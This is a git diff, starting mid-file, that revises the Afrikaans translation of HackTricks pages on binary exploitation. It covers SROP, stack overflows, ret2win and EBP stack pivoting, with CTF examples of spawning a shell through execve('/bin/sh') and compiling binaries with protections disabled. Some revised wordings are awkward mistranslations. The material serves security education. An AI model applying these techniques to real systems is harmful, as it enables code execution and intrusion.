-- 64 bits, nx, geen PIE, skryf in 'n bietjie geheue 'n ROP om `execve` aan te roep en daarheen te spring. Om na die stapel te skryf, word 'n funksie wat wiskundige operasies uitvoer, misbruik.
+- 64 bits, nx, geen PIE, skryf in 'n sekere geheue 'n ROP om `execve` aan te roep en daarheen te spring. Ten einde na die stapel te skryf, word 'n funksie wat wiskundige operasies uitvoer, misbruik.
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
-- 64 bits, geen PIE, nx, BF kanary, skryf in 'n bietjie geheue 'n ROP om `execve` aan te roep en daarheen te spring.
+- 64 bits, geen PIE, nx, BF kanary, skryf in 'n sekere geheue 'n ROP om `execve` aan te roep en daarheen te spring.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
index 68326d4e5..7edcba178 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
@@ -4,14 +4,14 @@
## Basiese Inligting
-**`Sigreturn`** is 'n spesiale **syscall** wat hoofsaaklik gebruik word om op te ruim nadat 'n seinhandler sy uitvoering voltooi het. Seine is onderbrekings wat aan 'n program deur die bedryfstelsel gestuur word, dikwels om aan te dui dat 'n uitsonderlike situasie plaasgevind het. Wanneer 'n program 'n sein ontvang, pauzeer dit tydelik sy huidige werk om die sein met 'n **seinhandler** te hanteer, 'n spesiale funksie wat ontwerp is om met seine te werk.
+**`Sigreturn`** is 'n spesiale **syscall** wat hoofsaaklik gebruik word om op te ruim nadat 'n seinhandler sy uitvoering voltooi het. Seine is onderbrekings wat na 'n program deur die bedryfstelsel gestuur word, dikwels om aan te dui dat 'n uitsonderlike situasie plaasgevind het. Wanneer 'n program 'n sein ontvang, pauzeer dit tydelik sy huidige werk om die sein met 'n **seinhandler** te hanteer, 'n spesiale funksie wat ontwerp is om met seine te werk.
-Nadat die seinhandler klaar is, moet die program sy **vorige toestand hervat** asof niks gebeur het nie. Dit is waar **`sigreturn`** in die prentjie kom. Dit help die program om **terug te keer van die seinhandler** en herstel die program se toestand deur die stapelraam (die gedeelte van geheue wat funksie-oproepe en plaaslike veranderlikes stoor) wat deur die seinhandler gebruik is, op te ruim.
+Nadat die seinhandler klaar is, moet die program sy **vorige toestand hervat** asof niks gebeur het nie. Dit is waar **`sigreturn`** in die spel kom. Dit help die program om **terug te keer van die seinhandler** en herstel die program se toestand deur die stapelraam (die gedeelte van geheue wat funksie-oproepe en plaaslike veranderlikes stoor) wat deur die seinhandler gebruik is, op te ruim.
-Die interessante deel is hoe **`sigreturn`** die program se toestand herstel: dit doen dit deur **alle CPU se registerwaardes op die stapel te stoor.** Wanneer die sein nie meer geblokkeer is nie, **pop `sigreturn` hierdie waardes van die stapel af**, wat effektief die CPU se registers na hul toestand voor die sein hanteer is, terugstel. Dit sluit die stapelpunt-register (RSP) in, wat na die huidige bokant van die stapel wys.
+Die interessante deel is hoe **`sigreturn`** die program se toestand herstel: dit doen dit deur **alle CPU se registerwaardes op die stapel te stoor.** Wanneer die sein nie meer geblokkeer is nie, **pop `sigreturn` hierdie waardes van die stapel af**, wat effektief die CPU se registre na hul toestand voor die sein hanteer is, reset. Dit sluit die stapelpunt-register (RSP) in, wat na die huidige bokant van die stapel wys.
> [!CAUTION]
-> Om die syscall **`sigreturn`** vanaf 'n ROP-ketting aan te roep en **die registerwaardes** wat ons wil hê dat dit in die **stapel** laai, by te voeg, is dit moontlik om **alle** registerwaardes te **beheer** en dus **aan te roep** byvoorbeeld die syscall `execve` met `/bin/sh`.
+> Om die syscall **`sigreturn`** van 'n ROP-ketting te bel en **die registratiewaardes** wat ons wil hê dat dit in die **stapel** laai, by te voeg, is dit moontlik om **alle** registratiewaardes te **beheer** en dus **te bel** byvoorbeeld die syscall `execve` met `/bin/sh`.
Let op hoe dit 'n **type Ret2syscall** sou wees wat dit baie makliker maak om parameters te beheer om ander Ret2syscalls aan te roep:
@@ -19,7 +19,7 @@ Let op hoe dit 'n **type Ret2syscall** sou wees wat dit baie makliker maak om pa
../rop-syscall-execv/
{{#endref}}
-As jy nuuskierig is, dit is die **sigcontext-struktuur** wat in die stapel gestoor word om later die waardes te herstel (diagram van [**hier**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
+As jy nuuskierig is, dit is die **sigcontext-struktuur** wat op die stapel gestoor word om later die waardes te herstel (diagram van [**hier**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@@ -128,13 +128,13 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
-- Assembly binêre wat toelaat om **na die stapel te skryf** en dan die **`sigreturn`** syscall aanroep. Dit is moontlik om op die stapel 'n [**ret2syscall**](../rop-syscall-execv/) via 'n **sigreturn** struktuur te skryf en die vlag wat binne die geheue van die binêre is, te lees.
+- Assembly binêre wat toelaat om **na die stapel te skryf** en dan die **`sigreturn`** syscall aanroep. Dit is moontlik om op die stapel 'n [**ret2syscall**](../rop-syscall-execv/index.html) via 'n **sigreturn** struktuur te skryf en die vlag te lees wat binne die geheue van die binêre is.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
-- Assembly binêre wat toelaat om **na die stapel te skryf** en dan die **`sigreturn`** syscall aanroep. Dit is moontlik om op die stapel 'n [**ret2syscall**](../rop-syscall-execv/) via 'n **sigreturn** struktuur te skryf (die binêre het die string `/bin/sh`).
+- Assembly binêre wat toelaat om **na die stapel te skryf** en dan die **`sigreturn`** syscall aanroep. Dit is moontlik om op die stapel 'n [**ret2syscall**](../rop-syscall-execv/index.html) via 'n **sigreturn** struktuur te skryf (die binêre het die string `/bin/sh`).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
-- 64 bits, geen relro, geen canary, nx, geen pie. Eenvoudige buffer overflow wat die `gets` funksie misbruik met 'n gebrek aan gadgets wat 'n [**ret2syscall**](../rop-syscall-execv/) uitvoer. Die ROP-ketting skryf `/bin/sh` in die `.bss` deur weer `gets` aan te roep, dit misbruik die **`alarm`** funksie om eax op `0xf` te stel om 'n **SROP** aan te roep en 'n shell uit te voer.
+- 64 bits, geen relro, geen canary, nx, geen pie. Eenvoudige buffer overflow wat die `gets` funksie misbruik met 'n gebrek aan gadgets wat 'n [**ret2syscall**](../rop-syscall-execv/index.html) uitvoer. Die ROP-ketting skryf `/bin/sh` in die `.bss` deur weer `gets` aan te roep, dit misbruik die **`alarm`** funksie om eax op `0xf` te stel om 'n **SROP** aan te roep en 'n shell uit te voer.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
-- 64 bits assembly program, geen relro, geen canary, nx, geen pie. Die vloei laat toe om in die stapel te skryf, verskeie registers te beheer, en 'n syscall aan te roep en dan `exit` aan te roep. Die geselekteerde syscall is 'n `sigreturn` wat registre sal stel en `eip` sal beweeg om 'n vorige syscall instruksie aan te roep en `memprotect` te loop om die binêre ruimte op `rwx` te stel en die ESP in die binêre ruimte te stel. Volg die vloei, die program sal weer lees in ESP aanroep, maar in hierdie geval sal ESP na die volgende instruksie wys, sodat 'n shellcode as die volgende instruksie geskryf en uitgevoer sal word.
+- 64 bits assembly program, geen relro, geen canary, nx, geen pie. Die vloei laat toe om in die stapel te skryf, verskeie registers te beheer, en 'n syscall aan te roep en dan roep dit `exit` aan. Die geselekteerde syscall is 'n `sigreturn` wat registre sal stel en `eip` sal beweeg om 'n vorige syscall instruksie aan te roep en `memprotect` uit te voer om die binêre ruimte op `rwx` te stel en die ESP in die binêre ruimte te stel. Volg die vloei, die program sal weer lees in ESP aanroep, maar in hierdie geval sal ESP na die volgende instruksie wys, sodat 'n shellcode as die volgende instruksie geskryf en uitgevoer sal word.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP word gebruik om uitvoeringsregte (memprotect) te gee aan die plek waar 'n shellcode geplaas is.
diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md
index bf4fadbf0..a90e24829 100644
--- a/src/binary-exploitation/stack-overflow/README.md
+++ b/src/binary-exploitation/stack-overflow/README.md
@@ -4,13 +4,13 @@
## Wat is 'n Stack Overflow
-'n **stack overflow** is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stapel skryf as wat dit toegeken is om te hou. Hierdie oortollige data sal **aangrensende geheue ruimte oorskryf**, wat lei tot die korrupsie van geldige data, onderbreking van die beheerstroom, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat nie grensekontrole op invoer uitvoer nie.
+'n **stack overflow** is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stap skryf as wat dit toegeken is om te hou. Hierdie oortollige data sal **aangrensende geheue ruimte oorskryf**, wat lei tot die korrupsie van geldige data, onderbreking van die beheerstroom, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat nie grensekontrole op invoer uitvoer nie.
-Die hoofprobleem van hierdie oorskrywing is dat die **gestoor instruksie-aanwyser (EIP/RIP)** en die **gestoor basisaanwyser (EBP/RBP)** om na die vorige funksie terug te keer, **op die stapel gestoor word**. Daarom sal 'n aanvaller in staat wees om dit te oorskry en **die uitvoeringsvloei van die program te beheer**.
+Die hoofprobleem van hierdie oorskrywing is dat die **gestoor instruksie-aanwyser (EIP/RIP)** en die **gestoor basisaanwyser (EBP/RBP)** om na die vorige funksie terug te keer, **op die stap gestoor word**. Daarom sal 'n aanvaller in staat wees om dit te oorskryf en **die uitvoeringsvloei van die program te beheer**.
-Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **meer bytes binne die stapel kopieer as die hoeveelheid wat daarvoor toegeken is**, en kan dus ander dele van die stapel oorskry.
+Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **meer bytes binne die stap kopieer as die hoeveelheid wat daarvoor toegeken is**, en kan dus ander dele van die stap oorskryf.
-Sommige algemene funksies wat kwesbaar is hiervoor, is: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ook, funksies soos **`fgets`**, **`read` & `memcpy`** wat 'n **lengte argument** neem, kan op 'n kwesbare manier gebruik word as die gespesifiseerde lengte groter is as die toegekenne.
+Sommige algemene funksies wat kwesbaar is hiervoor, is: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ook, funksies soos **`fgets`**, **`read` & `memcpy`** wat 'n **lengte argument** neem, kan op 'n kwesbare manier gebruik word as die gespesifiseerde lengte groter is as die toegeken.
Byvoorbeeld, die volgende funksies kan kwesbaar wees:
```c
@@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
-### Vind van Stap Oorloop afstanden
+### Vind van Stap Oorloop verskuiwings
Die mees algemene manier om stap oorloop te vind, is om 'n baie groot invoer van `A`s te gee (bv. `python3 -c 'print("A"*1000)'`) en 'n `Segmentation Fault` te verwag wat aandui dat die **adres `0x41414141` probeer is om toegang te verkry**.
-Boonop, sodra jy gevind het dat daar 'n Stap Oorloop kwesbaarheid is, sal jy die afstand moet vind totdat dit moontlik is om die **terugadres te oorskry**, hiervoor word gewoonlik 'n **De Bruijn-sekwensie** gebruik. Wat vir 'n gegewe alfabet van grootte _k_ en subreekse van lengte _n_ 'n **sirkelvormige sekwensie is waarin elke moontlike subreeks van lengte \_n**\_\*\* presies een keer\*\* as 'n aaneengeskakelde subreeks verskyn.
+Boonop, sodra jy gevind het dat daar 'n Stap Oorloop kwesbaarheid is, sal jy die verskuiwing moet vind totdat dit moontlik is om die **terugadres te oorskry**, hiervoor word gewoonlik 'n **De Bruijn-sekwensie** gebruik. Wat vir 'n gegewe alfabet van grootte _k_ en subreekse van lengte _n_ 'n **sikliese sekwensie is waarin elke moontlike subreeks van lengte \_n**\_\*\* presies een keer** as 'n aaneengeskakelde subreeks verskyn.
-Op hierdie manier, in plaas daarvan om handmatig uit te vind watter afstand nodig is om die EIP te beheer, is dit moontlik om een van hierdie sekwensies as opvulling te gebruik en dan die afstand van die bytes te vind wat dit oorgeskryf het.
+Op hierdie manier, in plaas daarvan om handmatig uit te vind watter verskuiwing nodig is om die EIP te beheer, is dit moontlik om een van hierdie sekwensies as opvulling te gebruik en dan die verskuiwing van die bytes wat dit oorgeskryf het, te vind.
Dit is moontlik om **pwntools** hiervoor te gebruik:
```python
@@ -51,13 +51,13 @@ pattern search $rsp #Search the offset given the content of $rsp
## Exploiting Stack Overflows
Tydens 'n oorgang (as die oorganggrootte groot genoeg is) sal jy in staat wees om **oor te skryf** waardes van plaaslike veranderlikes binne die stapel totdat jy die **EBP/RBP en EIP/RIP (of selfs meer)** bereik.\
-Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik, is deur die **terugadres te wysig** sodat wanneer die funksie eindig, die **beheer vloei na waar die gebruiker gespesifiseer het** in hierdie pointeur.
+Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik, is deur die **terugadres te wysig** sodat wanneer die funksie eindig, die **beheer vloei na waar die gebruiker gespesifiseer het** in hierdie pointer.
egter, in ander scenario's mag dit net **om te skryf van sommige veranderlikes waardes in die stapel** genoeg wees vir die uitbuiting (soos in maklike CTF-uitdagings).
### Ret2win
-In hierdie tipe CTF-uitdagings, is daar 'n **funksie** **binne** die binêre wat **nooit aangeroep word** en wat **jy moet aanroep om te wen**. Vir hierdie uitdagings moet jy net die **offset vind om die terugadres te oorskryf** en **die adres van die funksie** vind om aan te roep (gewoonlik [**ASLR**](../common-binary-protections-and-bypasses/aslr/) sal gedeaktiveer wees) sodat wanneer die kwesbare funksie terugkeer, die verborge funksie aangeroep sal word:
+In hierdie tipe CTF-uitdagings, is daar 'n **funksie** **binne** die binêre wat **nooit aangeroep word** en wat **jy moet aanroep om te wen**. Vir hierdie uitdagings moet jy net die **offset vind om die terugadres te oorskryf** en **die adres van die funksie** vind om aan te roep (gewoonlik [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) sal gedeaktiveer wees) sodat wanneer die kwesbare funksie terugkeer, die verborge funksie aangeroep sal word:
{{#ref}}
ret2win/
@@ -71,7 +71,7 @@ In hierdie scenario kan die aanvaller 'n shellcode in die stapel plaas en die be
stack-shellcode/
{{#endref}}
-### ROP & Ret2... tegnieke
+### ROP & Ret2... techniques
Hierdie tegniek is die fundamentele raamwerk om die hoofbeskerming van die vorige tegniek te omseil: **Geen uitvoerbare stapel (NX)**. En dit stel in staat om verskeie ander tegnieke uit te voer (ret2lib, ret2syscall...) wat sal eindig met die uitvoering van arbitrêre opdragte deur bestaande instruksies in die binêre te misbruik:
diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md
index dc36534c9..e6c2010d5 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/README.md
@@ -4,7 +4,7 @@
## Basiese Inligting
-**Ret2win** uitdagings is 'n gewilde kategorie in **Capture The Flag (CTF)** kompetisies, veral in take wat **binarie uitbuiting** behels. Die doel is om 'n kwesbaarheid in 'n gegewe binêre te benut om 'n spesifieke, nie-aangeroep funksie binne die binêre uit te voer, wat dikwels iets soos `win`, `flag`, ens. genoem word. Hierdie funksie, wanneer dit uitgevoer word, druk gewoonlik 'n vlag of 'n suksesboodskap uit. Die uitdaging behels tipies die oorskrywing van die **terugadres** op die stapel om die uitvoeringsvloei na die gewenste funksie te lei. Hier is 'n meer gedetailleerde verduideliking met voorbeelde:
+**Ret2win** uitdagings is 'n gewilde kategorie in **Capture The Flag (CTF)** kompetisies, veral in take wat **binarie uitbuiting** behels. Die doel is om 'n kwesbaarheid in 'n gegewe binêre te benut om 'n spesifieke, nie-aangeroep funksie binne die binêre uit te voer, wat dikwels iets soos `win`, `flag`, ens. genoem word. Hierdie funksie, wanneer dit uitgevoer word, druk gewoonlik 'n vlag of 'n suksesboodskap uit. Die uitdaging behels tipies die oorskryding van die **terugadres** op die stapel om die uitvoeringsvloei na die gewenste funksie te lei. Hier is 'n meer gedetailleerde verduideliking met voorbeelde:
### C Voorbeeld
@@ -32,7 +32,7 @@ Om hierdie program te kompileer sonder stapelbeskerming en met **ASLR** gedeakti
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: Compile die program as 'n 32-bit binêre (dit is opsioneel maar algemeen in CTF-uitdagings).
-- `-fno-stack-protector`: Deaktiveer beskerming teen stapel oorloop.
+- `-fno-stack-protector`: Deaktiveer beskerming teen stapeloorloope.
- `-z execstack`: Laat uitvoering van kode op die stapel toe.
- `-no-pie`: Deaktiveer Posisie Onafhanklike Uitvoerbare om te verseker dat die adres van die `win` funksie nie verander nie.
- `-o vulnerable`: Noem die uitvoer lêer `vulnerable`.
@@ -63,14 +63,14 @@ Om die adres van die `win` funksie te vind, kan jy **gdb**, **objdump**, of enig
```sh
objdump -d vulnerable | grep win
```
-Hierdie opdrag sal die assembly van die `win` funksie aan jou wys, insluitend sy beginadres.
+Hierdie opdrag sal jou die assembly van die `win` funksie wys, insluitend sy beginadres.
-Die Python-skrip stuur 'n sorgvuldig saamgestelde boodskap wat, wanneer dit deur die `vulnerable_function` verwerk word, die buffer oorloop en die terugkeeradres op die stapel met die adres van `win` oorskryf. Wanneer `vulnerable_function` terugkeer, in plaas daarvan om na `main` terug te keer of te verlaat, spring dit na `win`, en die boodskap word gedruk.
+Die Python-skrip stuur 'n sorgvuldig saamgestelde boodskap wat, wanneer dit deur die `vulnerable_function` verwerk word, die buffer oorloop en die terugkeeradres op die stapel met die adres van `win` oorskryf. Wanneer `vulnerable_function` terugkeer, spring dit na `win` in plaas daarvan om na `main` terug te keer of te verlaat, en die boodskap word gedruk.
## Beskermings
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **moet gedeaktiveer word** sodat die adres betroubaar is oor uitvoerings of die adres waar die funksie gestoor sal word nie altyd dieselfde sal wees nie en jy 'n lek nodig sal hê om uit te vind waar die win funksie gelaai is. In sommige gevalle, wanneer die funksie wat die oorloop veroorsaak `read` of soortgelyk is, kan jy 'n **Deeltelike Oorskrywing** van 1 of 2 bytes doen om die terugkeeradres na die win funksie te verander. Vanweë hoe ASLR werk, is die laaste drie hex nibble nie gerandomiseer nie, so daar is 'n **1/16 kans** (1 nibble) om die korrekte terugkeeradres te kry.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) moet ook gedeaktiveer word of die gecompromitteerde EIP terugkeeradres sal nooit gevolg word nie.
+- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **moet gedeaktiveer word** sodat die adres betroubaar is oor uitvoerings of die adres waar die funksie gestoor sal word nie altyd dieselfde sal wees nie en jy 'n lek nodig sal hê om uit te vind waar die win funksie gelaai is. In sommige gevalle, wanneer die funksie wat die oorloop veroorsaak `read` of soortgelyk is, kan jy 'n **Deeltelike Oorskrywing** van 1 of 2 bytes doen om die terugkeeradres na die win funksie te verander. Vanweë hoe ASLR werk, is die laaste drie hex nibble nie gerandomiseer nie, so daar is 'n **1/16 kans** (1 nibble) om die korrekte terugkeeradres te kry.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) moet ook gedeaktiveer word of die gecompromitteerde EIP terugkeeradres sal nooit gevolg word nie.
## Ander voorbeelde & Verwysings
@@ -84,7 +84,7 @@ Die Python-skrip stuur 'n sorgvuldig saamgestelde boodskap wat, wanneer dit deur
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 bits, geen ASLR, dubbele klein oorloop, eerste om die stapel oor te loop en die grootte van die tweede oorloop te vergroot
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
-- 32 bit, relro, geen kanarie, nx, geen pie, formaat string om die adres `fflush` met die win funksie (ret2win) te oorskryf
+- 32 bit, relro, geen canary, nx, geen pie, formaat string om die adres `fflush` met die win funksie (ret2win) te oorskryf
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- 32 bit, nx, niks anders nie, gedeeltelike oorskrywing van EIP (1Byte) om die win funksie aan te roep
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
@@ -92,7 +92,7 @@ Die Python-skrip stuur 'n sorgvuldig saamgestelde boodskap wat, wanneer dit deur
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Die program valideer slegs die laaste byte van 'n getal om die grootte van die invoer te kontroleer, daarom is dit moontlik om enige grootte by te voeg solank die laaste byte binne die toegelate reeks is. Dan, die invoer skep 'n buffer oorloop wat met 'n ret2win uitgebuit word.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
-- 64 bit, relro, geen kanarie, nx, pie. Gedeeltelike oorskrywing om die win funksie (ret2win) aan te roep
+- 64 bit, relro, geen canary, nx, pie. Gedeeltelike oorskrywing om die win funksie (ret2win) aan te roep
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, dit gee 'n PIE lek die win funksie is eintlik 2 funksies so ROP gadget wat 2 funksies aanroep
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
index 3783c6190..d5bd562bf 100644
--- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
+++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
@@ -4,7 +4,7 @@
## Basiese Inligting
-Hierdie tegniek benut die vermoë om die **Basis Wyser (EBP)** te manipuleer om die uitvoering van verskeie funksies te ketting deur versigtige gebruik van die EBP-register en die **`leave; ret`** instruksie volgorde.
+Hierdie tegniek benut die vermoë om die **Basis Wyser (EBP)** te manipuleer om die uitvoering van verskeie funksies te ketting deur versigtige gebruik van die EBP-register en die **`leave; ret`** instruksiesequens.
Ter herinnering, **`leave`** beteken basies:
```
@@ -18,8 +18,8 @@ En aangesien die **EBP in die stapel is** voor die EIP, is dit moontlik om dit t
Hierdie tegniek is veral nuttig wanneer jy **die EBP-register kan verander, maar geen direkte manier het om die EIP-register te verander nie**. Dit benut die gedrag van funksies wanneer hulle klaar is met uitvoer.
-As jy, tydens die uitvoering van `fvuln`, daarin slaag om 'n **valse EBP** in die stapel in te spuit wat na 'n area in geheue wys waar jou shellcode se adres geleë is (plus 4 bytes om rekening te hou met die `pop` operasie), kan jy indirek die EIP beheer. Terwyl `fvuln` terugkeer, word die ESP op hierdie vervaardigde ligging gestel, en die daaropvolgende `pop` operasie verminder ESP met 4, **wat dit effektief laat wys na 'n adres wat deur die aanvaller daar gestoor is.**\
-Let daarop dat jy **2 adresse moet weet**: Die een waarheen ESP gaan, waar jy die adres moet skryf wat deur ESP aangedui word.
+As jy, tydens die uitvoering van `fvuln`, daarin slaag om 'n **valse EBP** in die stapel in te spuit wat na 'n area in geheue wys waar jou shellcode se adres geleë is (plus 4 bytes om rekening te hou met die `pop` operasie), kan jy indirek die EIP beheer. Wanneer `fvuln` terugkeer, word die ESP op hierdie vervaardigde ligging gestel, en die daaropvolgende `pop` operasie verminder ESP met 4, **wat dit effektief laat wys na 'n adres wat deur die aanvaller daar gestoor is.**\
+Let op hoe jy **2 adresse moet weet**: Die een waarheen ESP gaan, waar jy die adres moet skryf wat deur ESP aangedui word.
#### Exploit Konstruksie
@@ -28,9 +28,9 @@ Eerstens moet jy 'n **adres weet waar jy arbitrêre data / adresse kan skryf**.
Dan moet jy die adres weet wat deur `ret` gebruik word wat **arbitrêre kode sal uitvoer**. Jy kan gebruik:
- 'n Geldige [**ONE_GADGET**](https://github.com/david942j/one_gadget) adres.
-- Die adres van **`system()`** gevolg deur **4 rommel bytes** en die adres van `"/bin/sh"` (x86 bits).
+- Die adres van **`system()`** gevolg deur **4 rommelbytes** en die adres van `"/bin/sh"` (x86 bits).
- Die adres van 'n **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) gevolg deur die **shellcode** om uit te voer.
-- Sommige [**ROP**](../rop-return-oriented-programing/) ketting
+- Sommige [**ROP**](../rop-return-oriented-programing/index.html) ketting
Onthou dat daar voor enige van hierdie adresse in die beheerde deel van die geheue, **`4` bytes** moet wees as gevolg van die **`pop`** deel van die `leave` instruksie. Dit sal moontlik wees om hierdie 4B te misbruik om 'n **tweede valse EBP** in te stel en voort te gaan om die uitvoering te beheer.
@@ -39,13 +39,13 @@ Onthou dat daar voor enige van hierdie adresse in die beheerde deel van die gehe
Daar is 'n spesifieke variant van hierdie tegniek bekend as 'n "Off-By-One Exploit". Dit word gebruik wanneer jy **slegs die minste betekenisvolle byte van die EBP kan verander**. In so 'n geval moet die geheue ligging wat die adres stoor om na te spring met die **`ret`** die eerste drie bytes met die EBP deel, wat 'n soortgelyke manipulasie met meer beperkte toestande moontlik maak.\
Gewoonlik word die byte 0x00 verander om so ver as moontlik te spring.
-Dit is ook algemeen om 'n RET sled in die stapel te gebruik en die werklike ROP-ketting aan die einde te plaas om dit meer waarskynlik te maak dat die nuwe ESP binne die RET SLED wys en die finale ROP-ketting uitgevoer word.
+Dit is ook algemeen om 'n RET-sled in die stapel te gebruik en die werklike ROP-ketting aan die einde te plaas om dit meer waarskynlik te maak dat die nuwe ESP binne die RET SLED wys en die finale ROP-ketting uitgevoer word.
### **EBP Ketting**
Daarom, deur 'n beheerde adres in die `EBP` invoer van die stapel te plaas en 'n adres na `leave; ret` in `EIP`, is dit moontlik om **die `ESP` na die beheerde `EBP` adres van die stapel te beweeg**.
-Nou is die **`ESP`** beheerde wat na 'n gewenste adres wys en die volgende instruksie om uit te voer is 'n `RET`. Om dit te misbruik, is dit moontlik om in die beheerde ESP plek dit te plaas:
+Nou is die **`ESP`** beheerd wat na 'n gewenste adres wys en die volgende instruksie om uit te voer is 'n `RET`. Om dit te misbruik, is dit moontlik om in die beheerde ESP plek dit te plaas:
- **`&(next fake EBP)`** -> Laai die nuwe EBP as gevolg van `pop ebp` van die `leave` instruksie
- **`system()`** -> Geroep deur `ret`
@@ -54,9 +54,9 @@ Nou is die **`ESP`** beheerde wat na 'n gewenste adres wys en die volgende instr
Basies is dit op hierdie manier moontlik om verskeie valse EBPs te ketting om die vloei van die program te beheer.
-Dit is soos 'n [ret2lib](../rop-return-oriented-programing/ret2lib/), maar meer kompleks sonder enige ooglopende voordeel, maar kan interessant wees in sommige randgevalle.
+Dit is soos 'n [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), maar meer kompleks sonder enige ooglopende voordeel, maar kan interessant wees in sommige randgevalle.
-Boonop het jy hier 'n [**voorbeeld van 'n uitdaging**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) wat hierdie tegniek gebruik met 'n **stapel lek** om 'n wenfunksie aan te roep. Dit is die finale payload van die bladsy:
+Boonop het jy hier 'n [**voorbeeld van 'n uitdaging**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) wat hierdie tegniek gebruik met 'n **stapellek** om 'n wenfunksie te bel. Dit is die finale payload van die bladsy:
```python
from pwn import *
@@ -94,10 +94,10 @@ print(p.recvline())
```
## EBP mag dalk nie gebruik word nie
-Soos [**in hierdie pos verduidelik**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), as 'n binêre met sekere optimaliseringe gecompileer word, **kry EBP nooit beheer oor ESP nie**, daarom sal enige ontploffing wat werk deur EBP te beheer basies misluk omdat dit nie 'n werklike effek het nie.\
